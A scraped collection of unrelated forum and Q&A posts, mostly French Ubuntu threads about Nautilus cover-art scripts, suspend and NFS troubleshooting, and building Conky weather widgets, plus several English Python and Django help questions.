echo "<file name=\"$artist\" timestamp=\"`date +%s`\" custom_icon=\"file:/`pwd`/.`echo $artist | sed 's/\ /_/g'`.jpg\"/>" >> $xml
rm -f .prout.txt
}
for i in `ls $parent_dir`
do
cd "/$parent_dir/$i"
xml=$( echo "$HOME/.nautilus/metafiles/$( echo file://$parent_dir/ | sed 's/\//%2F/g' )$i.xml" )
rm -f $xml
echo "<?xml version=\"1.0\"?>
<directory>" > $xml
for j in `ls | sed 's/\ /_/g'`
do
j=$(echo "$j" | sed 's/_/\ /g' )
dl_pochette "$j"
done
echo "</directory>" >> $xml
done
echo "Fin du script redémmarage bourrin de nautilus"
nautilus -q
nautilus $parent_dir &
Et j'ai compris pour nautilus -q, c'est pas seulement nautilus le navigateur de fichier qui redémarre, c'est bien plus que ça
Le script fini "Initializing gnome-mount extension" et ne s'arrête pas je sais pas trop pourquoi.... un ctrl c règle le problème
Et si ça marche mais que tu veux modifier certaines images t'as qu'a remplacer l'image du script par la tienne du moment qu'elle a le même nom tout va bien, après tu fais nautilus -q puis nautilus & et en avant.
Dernière modification par Raskal (Le 12/04/2008, à 17:30)
Hors ligne
|
I've made a model with foreign keys in order to save some typing, and I think it also looks cleaner this way:
class Model_Sub( models.Model ):
some_fields
class Model_Main( models.Model ):
field_1 = models.ForeignKey( Model_Sub, related_name="sub_field_1" )
field_2 = models.ForeignKey( Model_Sub, related_name="sub_field_2" )
But when I want my users to submit the form, I want new instances of the sub model, not from a query set. I want the Model_Sub to be seamlessly included with the main model as a form. Is there anyway to achieve this using ModelForm?
Thanks for the help
David
|
#0 Re : -1 » [BUNDLE] Humble Indie Bundle (HIB 12 + hebdo merge + promos été) » Le 29/05/2013, à 14:56
AozRoon
Réponses : 460
t as essayer de l installer via steam?
Hotline Miami n'est pas dispo pour linux sur Steam :
http://store.steampowered.com/agecheck/app/219150/
AozRoon
Réponses : 1
Salut à tous,
J'ai un netbook samsung np150 qui tourne sous Kubuntu 14.04. Je l'ai configuré pour qu'il se mette en veille lorsque je ferme l'écran et pour qu'il se rallume quand je presse le bouton de mise en marche (après avoir ouvert l'écran).
Sauf qu'il se comporte de l'étrange façon suivante (edit : mise à jour du comportement de la bête) :
1. l'ordi est en veille, j'ouvre l'écran, appuie sur le bouton, il sort de veille
2. je ferme l'écran, il ne se met pas en veille (ça se voit grace aux leds frontales)
3. je rouvre l'écran
4. je ferme l'écran, cette fois il se met en veille
5. j'ouvre l'écran, appuie sur le bouton, il sort de veille, quelques secondes plus tard : il se met en veille tout seul (grrr !), retour au 1.
C'est assez déroutant et très pénible. Il y peu, il tournait sous Kubuntu 12.04 et tout cela fonctionnait normalement.
Des pistes pour régler ce comportement cocasse ?
Merci !
#6 Re : -1 » remise en veille en sortie de veille ! » Le 23/06/2014, à 15:24
AozRoon
Réponses : 5
Salut,
Je suis sous Kubuntu 14.04. Depuis quelque temps, Kate se lance sans fenêtre, en plein écran, càd sans la barre présente en haut de chaque appli, qui permet de la redimensionner, la fermer, la déplacer sur le bureau...
Des pistes pour régler cela ?
Merci !
#10 Re : -1 » [résolu] Kate n'a plus de fenêtre conteneur... » Le 25/05/2014, à 20:52
AozRoon
Réponses : 9
Salut,
Par rapport au pilote graphique, pourquoi installes-tu le pilote proprio ? Le pilote libre (utilisé par défaut) ne te donne pas satisfaction ? Pour quel type d'applications (vidéos, 3D,2D) ?
Pour activer ton pavé numérique par défaut, plus besoin d'installer un paquet sous KDE. Cela se configure : Applications → Configuration → Configuration du système → Matériel → Périphériques d'entrée → Clavier → onglet « Matériel » → rubrique « Verrouillage numérique au démarrage de KDE » → cliquer sur « Activé » (ou un truc du genre, cherche dans l'outil "configuration du système).
Attention, dans la doc sur ce site ou dans le forum, tu trouveras parfois des réponses à tes problèmes qui datent d'il y a longtemps. Souvent des solutions plus simples existent. Vérifie la date de la dernière modification des pages ou des discussions que tu consultes.
AozRoon
Réponses : 5
Je ne pense pas que cela soit possible. Même si l'accès aux fichiers de ta partition win7 n'est pas un soucis depuis linux (le contraire et moins évident), les fichiers binaires ne sont pas compatibles et les librairies chargées souvent non plus.
A la rigueur, tu pourrais lancer le Steam de win7 sous linux via Wine. Mais c'est un peu tordu et probablement non trivial à mettre en place.
J'ai le même genre de problématique et je n'installe sous win7 que les jeux non disponibles sous linux. Comme ça je n'ai pas de doublons.
#13 Re : -1 » Don't Starve » Le 27/10/2013, à 12:50
AozRoon
Réponses : 4
Salut,
Pour ceux qui ne le savent pas, Don't Starve est actuellement en promo pour encore 6 jours.
Mais aussi directement sur le site des développeurs par l'intermédiaire du Humble Store, en natif linux,
sans DRM, à -50% aussi : 7.50$ (soit ~5.50€) et une clé steam est fournie en plus.
> http://www.dontstarvegame.com/blog/landing/buynow.html
Merci pour l'info ! Ca faisait un moment que je comptais jouer à ce jeu.
#14 Re : -1 » avis sur la kubuntu 13.04 ? » Le 05/05/2013, à 20:55
AozRoon
Réponses : 60
Depuis ma migration 12.10 --> 13.04 (64bits) je ne peux plus lancer easyTAG.
Ou plutôt je peux le lancer, le process est bien en mémoire :
$ ps aux |grep easytag
aozroon 3345 0.0 0.2 245352 8176 ? Sl 20:52 0:00 /usr/bin/easytag
... mais rien n'apparait à l'écran !
Si je le lance depuis un terminal, aucune info de plus.
Des idées ?
Sinon, tout le reste roule nickel.
#15 Re : -1 » avis sur la kubuntu 13.04 ? » Le 10/05/2013, à 13:21
AozRoon
Réponses : 60
Depuis ma migration 12.10 --> 13.04 (64bits) je ne peux plus lancer easyTAG.
Ou plutôt je peux le lancer, le process est bien en mémoire :<metadata lang=Shell prob=0.09 />
$ ps aux |grep easytag
aozroon 3345 0.0 0.2 245352 8176 ? Sl 20:52 0:00 /usr/bin/easytag
... mais rien n'apparait à l'écran !
Apparemment, je ne suis pas le seul :
https://bugs.launchpad.net/ubuntu/+sour … ug/1160729
#16 Re : -1 » avis sur la kubuntu 13.04 ? » Le 11/05/2013, à 21:12
AozRoon
Réponses : 60
essaye ce ppa pour Easytag, il y à que ce programme dans ce ppa -> EasyTag 2.1.8 ppa:dobey/ppa
mais avant supprime ou renomme ton dossier caché dans /home/~/.config/
Merci pour la proposition, ça met bien à jour le programme mais malheureusement cela ne règle pas le problème.
#17 Re : -1 » avis sur la kubuntu 13.04 ? » Le 12/05/2013, à 00:29
#18 Re : -1 » avis sur la kubuntu 13.04 ? » Le 12/05/2013, à 10:18
AozRoon
Réponses : 5
Salut,
Je suis en train d'essayer de mettre en place un montage NFS d'un répertoire sur mon serveur mais j'ai un "Connection timed out" lorsque j'essai de monter le répertoire partagé.
Côté serveur (cubox sous debian wheezy) :
IP : 192.168.1.142
/etc/exports :
/mnt/data 192.168.1.117(rw,all_squash,anonuid=1000,anongid=1000,sync)
/etc/hosts.allow :
portmap: 192.168.1.117lockd: 192.168.1.117nfsd: 192.168.1.117mountd: 192.168.1.117rquotad: 192.168.1.117statd: 192.168.1.117
/etc/hosts.deny :
portmap:ALLnfsd:ALLmountd:ALL
service nfs-kernel-server reload
[....] Re-exporting directories for NFS kernel daemon...exportfs: /etc/exports [2]: Neither 'subtree_check' or 'no_subtree_check' specified for export "192.168.1.117:/mnt/data".
Assuming default behaviour ('no_subtree_check').
NOTE: this default has changed since nfs-utils version 1.0.x
Côté client (ordi sous kubuntu 13.04) :
IP : 192.168.1.117
ping 192.168.1.142
PING 192.168.1.142 (192.168.1.142) 56(84) bytes of data.
64 bytes from 192.168.1.142: icmp_req=1 ttl=64 time=0.558 ms
64 bytes from 192.168.1.142: icmp_req=2 ttl=64 time=0.114 ms
sudo mount -t nfs -o rw 192.168.1.142:/mnt/data /media/cigale_data
mount.nfs: Connection timed out
Des idées sur ce qui peut clocher ? Peut être une histoire de droits d'accès ?
Merci !
AozRoon
Réponses : 5
J'ai trouvé et c'est très finalement con : mon kernel n'a pas le module nfs
service nfs-kernel-server start
[warn] Not starting NFS kernel daemon: no support in current kernel. ... (warning).
|
I need to copy a file specified by the user and make a copy of it (giving it a name specified by the user). This is my code:
import copy
def main():
userfile = raw_input('Please enter the name of the input file.')
userfile2 = raw_input('Please enter the name of the output file.')
infile = open(userfile,'r')
file_contents = infile.read()
infile.close()
print(file_contents)
userfile2 = copy.copy(file_contents)
outfile = open(userfile2,'w+')
file_contents2 = outfile.read()
print(file_contents2)
main()
Something strange is happening here, as it doesn't print the contents of the second file, outfile.
|
I have been using the code below to plot the time spent to run 4 functions. The x axis represents the number of executions whereas the y axis represents the time spent running a function.
I was wondering if you could help me accomplish the following:
1) set the limits of the x axis so that only positive values are shown (x represents the number of times each function was executed and is, therefore, always positive)
2) create a legend for the 4 functions
Thank you,
Mark
import matplotlib
from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas
from matplotlib.figure import Figure
import matplotlib.mlab as mlab
r = mlab.csv2rec('performance.csv')
fig = Figure(figsize=(9,6))
canvas = FigureCanvas(fig)
ax = fig.add_subplot(111)
ax.set_title("Function performance",fontsize=14)
ax.set_xlabel("code executions",fontsize=12)
ax.set_ylabel("time(s)",fontsize=12)
ax.grid(True,linestyle='-',color='0.75')
ax.scatter(r.run,r.function1,s=10,color='tomato');
ax.scatter(r.run,r.function2,s=10,color='violet');
ax.scatter(r.run,r.function3,s=10,color='blue');
ax.scatter(r.run,r.function4,s=10,color='green');
canvas.print_figure('performance.png',dpi=700)
|
cledesol
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Merci de cette précision.
C'est vrai aussi qu'en général c'est le soir que je me loggue sur mon PC ....
Donc, la météo du jour ... je l'ai vue en réel
CM : Asus M4A88TD-M µ : AMD Phenom II X6 1055T / RAM 4 Go
Video : EVGA GeForce GTS450 1Go - Ubuntu 64 bits Version 14.04 avec Unity
Notebook Asus A2500D Dual boot Ubuntu et Xubuntu 14.04
Hors ligne
Didier-T
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Merci de cette précision.
C'est vrai aussi qu'en général c'est le soir que je me loggue sur mon PC ....
Donc, la météo du jour ... je l'ai vue en réel
moi c'est le contraire, mais je crois que météo France auras plus pour vocation de test qu'autre chose (il me fatigue à modifier le nombre d'info toutes la journée).
Je vais voir ce que je peut faire avec un site plus contant dans sont nombres d'infos journalière, ce sera certainement previmeteo.com car après tous, ils nous propose plein de façon différent de récupérer les infos météo.
Hors ligne
cledesol
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Tu as raison; c'est pénible de programmer quand les données en entrées ne sont pas constantes.
Je ne connaissais pas le site "previmeteo", mais il a l'air pas mal du tout.
Bon courage pour la suite.
Si tu veux que je teste, pas de problème.
CM : Asus M4A88TD-M µ : AMD Phenom II X6 1055T / RAM 4 Go
Video : EVGA GeForce GTS450 1Go - Ubuntu 64 bits Version 14.04 avec Unity
Notebook Asus A2500D Dual boot Ubuntu et Xubuntu 14.04
Hors ligne
Phyllinux
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Me revoilà de retour sur les ondes.
Tout d'abord un grand bravo à Didier-T et Levi59 pour le travail effectué sur les scripts.
N'étant pas en mesure moi-même de faire grand chose sur les scripts, je me contente donc de tester et de faire part de mes remarques afin de les perfectionner ou les modifier.
Tout d'abord une petite impression d'écran pour expliciter les 2 bugs que je rencontre :1/ Affichage des icônes du vent
Comme je l'ai déjà indiqué, lorsque je lance le conky en terminal, j'ai régulièrement un message d'erreur du genre :
cp: la cible «/home/gilles/conky/meteo/images/conky/v1.png» n'est pas un répertoire
cp: la cible «/home/gilles/conky/meteo/images/conky/v4.png» n'est pas un répertoire
Ce qui se traduit par le fait que les icônes du vent qui déclenchent ce message d'erreur ne sont pas actualisées. Du coup, nous avons des icônes qui ne correspondent pas à la direction du vent. Cela se produit sur certaines icônes, et de manière aléatoire. Ce ne sont pas toujours les mêmes qui posent problème.
On voit ici des icônes de vent d'Est, avec une description de vent SE. Le problème viendrait peut être du script de formatage des icônes ? Ou bien suis je le seul à avoir ce bug ?
Tant que nous sommes dans les icônes du vent, est il possible d'avoir, comme cela se passait avec conkyForecast, des icônes de différentes couleurs en fonction de la force du vent ? Car actuellement, ce n'est pas le cas, elles sont toujours vertes, y compris pour du vent de + de 50 km/h2/ Affichage du pourcentage de probabilité de pluie:
Comme cela est visible sur l'impression d'écran, j'ai un bug graphique avec un petit rectangle rouge pour tous les chiffres des pourcentage de pluie pour les soirées, ce qui correspond aux chiffres des lignes paires sur le fichier 'precipitation'. J'ai tout essayé pour tenter d'effacer ce bug, rien n'y fait. Si je demande d'afficher uniquement un chiffre d'une ligne paire, ce bug est toujours présent. Est il possible de régler ce problème ?3/ Améliorations possibles du script :
Etant donné que le code de la localité est défini dans le shell du script, je pense qu'il pourrait être intéressant d'extraire 2 données du fichier ICS : Le nom de la localité et ses coordonnées :
BEGIN:VEVENT
SEQUENCE:1
CLASS:PUBLIC
CREATED:20111028T000000Z
LAST-MODIFIED:20111028T000000Z
GEO:43.45000076;5.23000002
UID:1319803200-0-0
DTSTAMP:20111028T120000Z
DTSTART;VALUE=DATE:20111028
ORGANIZER;CN=Weather Underground:MAILTO:support@wunderground.com
DESCRIPTION:Friday - Partly Cloudy. High 21 C Wind SE 32 km/h. \nFriday Night - Chance of Rain. Low 15 C Wind East 32 km/h.Chance of precipitation 20%.
LOCATION:Marseille\, France
A savoir les lignes 'GEO' et 'LOCATION' (la mention du pays est superflue).
Ainsi, il est possible de les appeler et les faire afficher dans le conky.
Concernant les températures : Dans le fichier messages.wun les températures sont précédées des mentions 'Maxi' ou 'Mini'. Ces mentions peuvent toujours être rentrées 'à la main' dans le conky. Il me semble plus intéressant que de n'extraire que les données chiffrées brutes, et donc supprimer ces mention maxi ou mini du fichier messages.wun
Traductions dans le script : Rajouter 'Rain' 'Pluie' - Changer 'Clear' 'Ensoleillé' par 'Clear' 'Dégagé' car, la nuit, ensoleillé ne veut rien dire.4/ Evolution du script
Qu'il s'agisse du script wunderground ou celui de Météo France sur lequel travaillait Didier-T : Dans les 2 cas nous n'avons que l'affichage de prévisions, et en aucun cas l'affichage des données météo en live. Aussi, il me semble intéressant de rajouter ces données là (qui peuvent se substituer à la 1° partie du messages.wun, qui sont les prévisions de la journée.
Pour ce faire, j'ai trouvé un script python, qui permet d'aller chercher la T° et les conditions météo en cours chez Wunderground. Le voici :
#!/usr/bin/python
#
# Fetches Weather info from Weather Underground
#
# Usage: ./wundergound.py zipcode
#
# International:
# * Go to http://www.wunderground.com/
# * Find your city
# * Click the RSS icon
# * Station ID is the number that follows /stations/ in the url
#
#
# Values are either True or False
metric=True
international=True
import sys
import feedparser
def usage():
print("Usage:")
if international:
print(" ./wunderground.py StationID")
else:
print(" ./weunderground.py zipcode")
sys.exit(1)
if not len(sys.argv) == 2:
usage()
location=sys.argv[1]
if international:
url="http://rss.wunderground.com/auto/rss_full/global/stations/"
else:
url="http://rss.wunderground.com/auto/rss_full/"
feed=feedparser.parse(url+location)
if not feed.feed:
# Assume Error
print("Error")
sys.exit(1)
current=feed['items'][0].title
if metric:
temp=current.split(",")[0].split(":")[1].split("/")[1].strip()
else:
temp=current.split(",")[0].split(":")[1].split("/")[0].strip()
condition=current.split(",")[1].split("-")[0].strip()
print(temp, "-", condition)
Je pense qu'il est également possible par le même biais d'aller chercher les données relatives au vent...
Les problèmes à régler avec ce script sont les suivants :
Comment faire afficher ces données dans le conky ?
Une ligne telle que celle ci dans le conky
${execi 600 /home/chemin du conky/wunderground 'zip code'}
fait apparaître une ligne d'affichage avec Température - condition météo. C'est pas terrible.
Comment faire associer les conditions météo avec l'icône du temps qui y est associée ?
Je laisse ces questions à toute la connaissance dans l'écriture des scripts des spécialistes
Je suis prêt à tester toutes les propositions qui seront faites !
The ship is sinking normally...
Hors ligne
Didier-T
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Bonjour Phyllinux,
Pour ton soucis n°2 tu peut tenter de changer de police de caractère, sa devrais régler le problème.
pour le reste il faudrait que tu compresse ton répertoire de travail pour le mettre en ligne, et que tu nous fournisses ton conkyrc.
Bien sure je prend bonne note de tes remarques pour la suite.
Je savais pas que les icônes de vent changeaient de couleur en fonction de la vitesse (pourrais tu m'indiquer les paliers).
Hors ligne
Phyllinux
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
J'ai essayé de changer la police, mais pas d'évolution . J'ai toujours le même bug, quelle que soit la police utilisée.
Concernant les couleurs en fonction des vitesses du vent, je ne sais pas quels sont les paliers définis dans conkyforecast, et je n'ai pas réussi à trouver dans quel fichier cela était défini.
Je pense cependant que l'on peut partir sur la base suivante :
De 0 à 25 : Vert
De 26 à 50 : Orange
> 50 km/h : Rouge
Pour le répertoire de travail, je fais un fichier et je le poste tout à l'heure
The ship is sinking normally...
Hors ligne
Phyllinux
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Voici le répertoire compressé :
C'est le répertoire Conky, qui est directement dans mon Home
Répertoire conky pour test
En dernière ligne du conky se rajoute le lien vers le script d'affichage de carte satellite dont je n'ai pas mis le script dans cette archive
The ship is sinking normally...
Hors ligne
Didier-T
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
@ Phyllinux
bon pour le problème des icônes vent tu met a la fin de ton DirShell un / dans le fichier formatage-icones-meteo.sh (retire le sa devrais régler le problème)
DirShell="$HOME/conky/meteo"
Hors ligne
Phyllinux
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Non, j'ai fait la modif, et cela ne règle rien du tout.
Aujourd'hui, je n'ai qu'une seule icône qui pose problème, celle du vent pour la soirée du jour en cours (la v2.png):
gilles@ubuntu:~$ conky -c /home/gilles/conky/meteo/conkyrc1
Conky: forked to background, pid is 27310
gilles@ubuntu:~$
Conky: desktop window (1400045) is subwindow of root window (102)
Conky: window type - override
Conky: drawing to created window (0x6600001)
Conky: drawing to double buffer
cp: la cible «/home/gilles/conky/meteo/images/conky/v2.png» n'est pas un répertoire
Mais comme je disais, c'est aléatoire, je peux très bien avoir ce message d'erreur pour 5 ou 6 icônes du vent
The ship is sinking normally...
Hors ligne
Didier-T
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
@ Phyllinux,
essai ceci
toujours le même script (c'est lui qui pose probleme)
il faut modifier la ligne suivante (ligne 27)
cp ${DirShell}/images/vent/$fichier.png ${DirShell}/images/conky/v$n.png
en
cp "${DirShell}/images/vent/$fichier.png" ${DirShell}/images/conky/v$n.png
sa devrait fonctionner chez moi sa règle définitivement le problème.
Dernière modification par Didier-T (Le 05/11/2011, à 17:04)
Hors ligne
Phyllinux
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Un problème de réglé
Plus de message d'erreur pour les icônes du vent !
Bravo
Ne pas oublier de mettre à jour les fichiers au début du topic
The ship is sinking normally...
Hors ligne
Phyllinux
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Sinon, il y a une autre alternative.
Au lieu de Weather Underground, Météo France, Weather.com, il existe aussi ACCUWEATHER.
Et avec le dernier script de TeoBigusGeekus, on peut arriver à cela :
Au passage, on voit que c'est un début de semaine pourri sur La Canebière!
Pour la marche à suivre, voir ici :
conky Accuweather post #2
Si quelqu'un sait retravailler le script pour pouvoir traduire les 'Conditions Météo' (Pluie, Soleil, Couvert...), ainsi que les jours, je suis preneur, ainsi que TeoBigusGeekus d'ailleurs
Je recherche également comment extraire les icônes, les conditions météo et les températures pour pouvoir les insérer dans un autre conky (l'horloge avec la météo intégrée qui tourne actuellement sous conkyforecast).
Je sais qu'il est toujours possible de faire afficher les points qui m'intéressent en faisant tourner le script et en allant les chercher. Mais c'est aussi simple si ils sont dans un fichier généré (à l'image du fichier messages.wun).
Merci pour vos propositions
The ship is sinking normally...
Hors ligne
Didier-T
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
@ Phyllinux,
Tu peut obtenir les infos directement en français sans avoir à les traduire, il suffit de sélectionner la langue désirée dans le menu "Select Your Language"
pour toi l'adresse web est
Hors ligne
Didier-T
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Bonjour a tous,
j'ai regardé le script que nous indiquait Phyllinux dans sont dernier post.
fichier "acc_int_images" après quelque modification pour qu'il fonctionne correctement sur les pages météo en français du site accuweather.com
acc_int_images
#!/bin/bash
# Modifié par Didier-T (forum.ubuntu-fr.org) pour utilisation sur les pages française de Accuweather
DirShell="$HOME/Accuweather_Conky_Int_Images"
#copier votre adresse Accuweather ici
address="http://www.accuweather.com/fr/fr/%c3%aele-de-france/argenteuil/quick-look.aspx"
#function: test_image
test_image () {
case $1 in
1)
echo 1su
;;
2)
echo 2msu
;;
3)
echo 3psu
;;
4)
echo 4ic
;;
5)
echo 5h
;;
6)
echo 6mc
;;
7)
echo 7c
;;
8)
echo 8d
;;
11)
echo 9f
;;
12)
echo 10s
;;
13)
echo 11mcs
;;
14)
echo 12psus
;;
15)
echo 13t
;;
16)
echo 14mct
;;
17)
echo 15psut
;;
18)
echo 16r
;;
19)
echo 17fl
;;
20)
echo 18mcfl
;;
21)
echo 19psfl
;;
22)
echo 20sn
;;
23)
echo 21mcsn
;;
24)
echo 22i
;;
25)
echo 23sl
;;
26)
echo 24fr
;;
29)
echo 25rsn
;;
30)
echo 27ho
;;
31)
echo 28co
;;
32)
echo 26w
;;
33)
echo 29cl
;;
34)
echo 31mcl
;;
35)
echo 32pc
;;
36)
echo 33ic
;;
37)
echo 34h
;;
38)
echo 35mc
;;
39)
echo 36pcs
;;
40)
echo 37mcs
;;
41)
echo 38pct
;;
42)
echo 39mct
;;
43)
echo 40mcfl
;;
44)
echo 41mcsn
;;
esac
}
kill -STOP $(pidof conky)
killall wget
rm ${DirShell}/*.png
rm ${DirShell}/messages_raw
wget --save-cookies ${DirShell}/cookie -O ${DirShell}/curr_cond_raw $address
addr_week=$(echo $address|sed 's/quick.*$/forecast.aspx/')
wget --load-cookies ${DirShell}/cookie -O ${DirShell}/week_raw $addr_week
#Current Conditions - curr_cond file
egrep -i 'CurrentTemp|CurrentText|RealFeelValue|WindsValue|HumidityValue|DewPointValue|PressureValue|PressureTenValue|VisibilityValue|SunriseValue|SunsetValue|imgCurConCondition' ${DirShell}/curr_cond_raw > ${DirShell}/curr_cond
sed -i 's/\(^.*blue\/\|_int.*$\|^.*">\|<\/span>.*$\|°C\)//g' ${DirShell}/curr_cond
curr_cond_raw_image=$(sed -n 1p ${DirShell}/curr_cond)
sed -i 1s/$curr_cond_raw_image/$(test_image $curr_cond_raw_image)/ ${DirShell}/curr_cond
cp ${DirShell}/Forecast_Images/$(sed -n 1p ${DirShell}/curr_cond).png ${DirShell}/cc.png
sed -i 's/Unavailable/N\/A/g' ${DirShell}/curr_cond
#Forecast of the week - week file
egrep -i 'lundi|mardi|mercredi|jeudi|vendredi|samedi|dimanche|°|lblDesc|imgIcon' ${DirShell}/week_raw > ${DirShell}/week
sed -i '1d' ${DirShell}/week
sed -i 's/\(^.*lblDate">\|^.*lblDesc">\|^.*Label1">\|^.*lblRealFeel">\|^.*lblHigh">\|^.*lblRealFeelValue">\|^.*blue\/\|_int.jpg.*$\|<\/span>.*$\|°C\)//g' ${DirShell}/week
sed -i -e 's/[lL]undi/LUNDI/' -e 's/[Mm]ardi/MARDI/' -e 's/[Mm]ercredi/MERCREDI/' -e 's/[Jj]eudi/JEUDI/' -e 's/[Vv]endredi/VENDREDI/' -e 's/[Ss]amedi/SAMEDI/' -e 's/[Dd]imanche/DIMANCHE/' ${DirShell}/week
for (( i=2; i<=67; i+=5 ))
do
sed -i "${i}s/ .*$//" ${DirShell}/week
done
for (( i=1; i<=66; i+=5 ))
do
image_raw=$(sed -n "${i}"p ${DirShell}/week)
sed -i ${i}s/$image_raw/$(test_image $image_raw)/ ${DirShell}/week
cp ${DirShell}/Forecast_Images/$(sed -n ${i}p ${DirShell}/week).png ${DirShell}/$i.png
done
#messages and messages_curr files
for (( i=3; i<=68; i+=5 ))
do
sed -n ${i}p ${DirShell}/week >> ${DirShell}/messages_raw
done
sed -n 1p ${DirShell}/messages_raw | cut -c -60 > ${DirShell}/messages_curr
sed -n 8p ${DirShell}/messages_raw | cut -c -60 >> ${DirShell}/messages_curr
for (( i=1; i<=4; i++))
do
no=$(sed -n ${i}p ${DirShell}/messages_curr|wc -m)
if (( no<=31 )); then
sed -i $i"s/$/\n/" ${DirShell}/messages_curr
i=$((i+1))
elif (( no>31 )); then
sed -i $i"s/^\(.\{31\}\)/\1\n/" ${DirShell}/messages_curr
i=$((i+1))
fi
done
cat ${DirShell}/messages_raw | cut -c -40 > ${DirShell}/messages
for (( i=1; i<=28; i++))
do
no=$(sed -n ${i}p ${DirShell}/messages|wc -m)
if (( no<=21 )); then
sed -i $i"s/$/\n/" ${DirShell}/messages
i=$((i+1))
elif (( no>21 )); then
nbesp=$(awk '{ x=0; x+=gsub("\\ ",""); print x }' ${DirShell}/messages | sed -n "$(($i))p")
pos=$(($(($nbesp/2))+1))
sed -i $i"s/ /\n/$pos" ${DirShell}/messages
i=$((i+1))
fi
done
kill -CONT $(pidof conky)
Une petite capture pour montrer le resultat
Dernière modification par Didier-T (Le 06/11/2011, à 12:10)
Hors ligne
Phyllinux
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
@ Didier-T
On y est presque !
La seule information non traduite, c'est celle des conditions météo du moment, comme on peut le voir sur cette capture d'écran :
PARTLY SUNNY, ça fait pas trop marseillais comme langue
The ship is sinking normally...
Hors ligne
Phyllinux
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
En s'actualisant, la traduction s'est faite : PARTLY SUNNY est devenu Partiellement Ensoleillé (Même la casse s'est modifiée : De tout majuscule, on est passé à 1° lettre en majuscule, le reste en minuscule).
Il ne me reste donc plus qu'à voir comment extraire les données qui m'intéressent pour les basculer également sur mon autre conky :
Je serai prêt avant la fermeture de l'accès aux données de weather.com
The ship is sinking normally...
Hors ligne
olitask
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Bonjour
En passant à ocelot, je me suis dit que j'allais améliorer mon conky jusque là assez sommaire.
Je suis assez déçu de voir se mélanger les posts pour les différents services de meteo ( méteofrance, accuweather wunderground ... ) Pour tout dire, et sans vouloir vous vexer car vous faite bien avancer les choses, c'est vraiment le boxon dans ce thread . Je ne sais pas si c'est possible d'améliorer les choses en regroupant les infos pour chaque fournisseur dans un seul message; enfin passons.
Pour en revenir à conky
Je tente d'installer le conky de Didier T post 21 et j'ai qqs problèmes
-Il semble manquer des icones (celles du repertoire /conky ( les autres étant dispatchées dans différant messages... pas tres pratique )
- il ne semble pas trouver les infos sur le site, pour calais le code est bien 621930 ??
-j'ai ce message d'erreur :
sed: impossible de lire /home/olivier/.conky//tt: Aucun fichier ou dossier de ce type
Conky: Unable to load image '/home/olivier/.conky/conky/j1.gif'
ps j'ai modifié le répertoire test en .conky
voilà. Bon dimanche Olivier
Dernière modification par olitask (Le 06/11/2011, à 17:33)
Hors ligne
olitask
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Rebonjour
Juste pour rajouter un site qui permet aussi d'avoir les prévisions météorologiques ( les prédictions météorologiques étant un terme réservées à meteo france AMHA) . Il s'agit de www.windguru.cz
Il est très utilisé pour les sports nautiques ( voile, kitesurf...). Un utilisateur a déjà tenté de faire qq chose : voir ici
Hors ligne
Didier-T
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
@ olitask,
bonjour pour commencer le conky météo france est une impasse car le nombre d'infos change au fur et à mesure que la journée avance, mais voici certainement les raisons de tes soucis :
Il doit manquer le chemin "/home/olivier/.conky/conky/" qui sert à charger les icônes météo France
le chemin indiqué dans ton DirShell est "$HOME/.conky/" supprime le dernier "/" sa ira mieux
Oui 621930 correspond bien à ta ville
Dernière modification par Didier-T (Le 06/11/2011, à 17:53)
Hors ligne
Phyllinux
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
@ Olitask
Il est normal que tu trouves ce topic un peu 'brouillon'. En effet, nous cherchons une alternative à conkyForecast, étant donné que les données utilisées par conkyForecast proviennent du site Weather.com, et que l'accès à ces données sera fermé dans très peu de temps.
Du coup, nous tâtonnons afin de trouver une solution qui nous convienne.
Nous sommes partis sur les possibilités offertes par Weather Underground (alias Wunderground).
De là Didier-T a essayé de récupérer les données provenant du site de Météo France, à l'instar de ce qui était fait par le script téléchargeant les données sur Wunderground.
De mon côté, tout en continuant à tester les différents scripts, j'ai trouvé une possibilité avec un autre site météo : Celui d'Accuweather.
Ce topic est un donc en quelque sorte un 'laboratoire' où tout le monde apporte ses idées et fait part de ce qu'il a pu trouver.
Il s'avère qu'actuellement, le conky le plus abouti est celui utilisant le script récupérant les données d'Accuweather. Tu trouveras le lien sur mon post #38.
Didier-T a modifié le script afin d'avoir la totalité des données en français (post #40) au lieu de la version originale en langue anglaise.
Donc, si tu veux un conky météo fonctionnel et en français, tu peux partir sur ces bases.
De mon côté, je tourne avec celui là, sur lequel je rajoute une couche du script réalisé par Didier-T et Levi59 afin d'obtenir en complément le pourcentage de probabilité de pluie (script avec les données de wunderground), étant donné que Accuweather ne fournit pas ces pourcentages dans les fichiers générés par le script.
Bon conky
The ship is sinking normally...
Hors ligne
olitask
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Bonsoir
Merci de votre réponse. En fait, il a suffit de créer le répertoire conky a coté de /vent et /metéo.
Petit problème , le résultat me donne cela : les icônes sont décalées
image , cliquer
quel est le paramètre qu'il faut modifier ?
Je vais me pencher sur accuweather, mais il faut s'enregistrer sur le forum ubuntu anglais ...
merci encore Olivier
Hors ligne
Phyllinux
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
@ Didier-T et Levi59
Je suis satisfait du résultat obtenu avec les script d'Accuweather. Merci Teo pour son script d'origine et merci Didier-T pour la modification avec la traduction
